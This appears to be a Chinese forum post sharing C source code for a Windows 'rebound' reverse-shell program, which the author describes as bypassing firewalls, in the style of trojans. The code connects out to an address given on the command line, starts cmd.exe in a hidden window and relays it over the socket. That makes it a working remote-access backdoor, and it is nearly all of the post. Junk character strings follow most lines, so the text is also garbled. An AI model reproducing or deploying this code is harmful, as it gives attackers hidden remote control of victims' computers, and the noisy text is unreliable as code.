这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 t4f\0`jN
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/* ============================== K%Ml2V
Rebound port in Windows NT 3_/d=ZI\
By wind,2006/7 C}E
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===============================*/ 7^X_tQf
#include +q%goG8
#include XL9lB#v^
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#pragma comment(lib,"wsock32.lib") F\<i>LWT'
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void OutputShell(); &p/k VM
SOCKET sClient; ^Tmmx_Xw
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; U%l{>*q
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void main(int argc,char **argv) b=EZtk6>
{ \C|06Bs$
WSADATA stWsaData; jX@9849@
int nRet;
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SOCKADDR_IN stSaiClient,stSaiServer; vj0?b/5m
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if(argc != 3) 8^T$6A[b
{ VvKH]>*
printf("Useage:\n\rRebound DestIP DestPort\n"); U"Oq85vY
return; a}\JA`5;)Z
} x #g,l2_!
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WSAStartup(MAKEWORD(2,2),&stWsaData); d?.x./1[qi
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
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stSaiClient.sin_family = AF_INET; ln7.>.F
stSaiClient.sin_port = htons(0); &5<lQ1
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); ]=Q'1%
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 0Jr<>7Q1
{ I%`2RXBt3^
printf("Bind Socket Failed!\n"); MiRB*eA
return; :1Cc~+]w(u
} EzaOg|
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stSaiServer.sin_family = AF_INET; N8TO"`wdbs
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); -_(!
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); <[bDNe["?
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) I
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{ x4K5
printf("Connect Error!"); [nrP;
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return; I$&/?ns@O
} $.kYAsZts
OutputShell(); <Jx{Uv
} _%]H}N Q
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void OutputShell() Zl)|x%z
{ yY+2;`CH
char szBuff[1024]; nJnan,`W
SECURITY_ATTRIBUTES stSecurityAttributes; b8Qm4 b?:4
OSVERSIONINFO stOsversionInfo; x?kZD~|{)
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; S^u!/ =&
STARTUPINFO stStartupInfo; zV]0S o
char *szShell; +J} 41
PROCESS_INFORMATION stProcessInformation; @fwU%S[v
unsigned long lBytesRead; c8u0\X,
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); _rM%N+$&d_
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); {D@y-K5
stSecurityAttributes.lpSecurityDescriptor = 0; C"}x=cK
stSecurityAttributes.bInheritHandle = TRUE; vlD]!]V:h
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); wcOAyo5(n
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); E_OLf%um
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); -}(W=r\
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 1;h>^NOq
stStartupInfo.wShowWindow = SW_HIDE; s-*XAnot
stStartupInfo.hStdInput = hReadPipe; 5FMKJ7sC9
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; kU /?#s
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GetVersionEx(&stOsversionInfo); -'nx7wnj2
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switch(stOsversionInfo.dwPlatformId) U{x'@/Ld
{ H\^^p!^)
case 1: Q -+jG7vT
szShell = "command.com"; `'93J
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break; XEuv
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default: )sQbDA|p
szShell = "cmd.exe"; I9MI}0}7
break; I}:/v$btM
} )-9/5Z0v
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); B5cTzY.h-
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send(sClient,szMsg,77,0); VKlD"UTk
while(1) _w26iCnB{
{ b&ADj8cKC
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); * n[6H
if(lBytesRead) ~UnfS};U
{ `XD$1>
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); #y?z2!
send(sClient,szBuff,lBytesRead,0); ZGrV? @o,6
} t!~mbx+
else !>+
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{ R =jK3yfw
lBytesRead=recv(sClient,szBuff,1024,0); -{<%Wt9
if(lBytesRead<=0) break; D H/1 :H
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); bUBuJ
} 3drgB;:g`
} q\~7z1
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return; LC}]6
}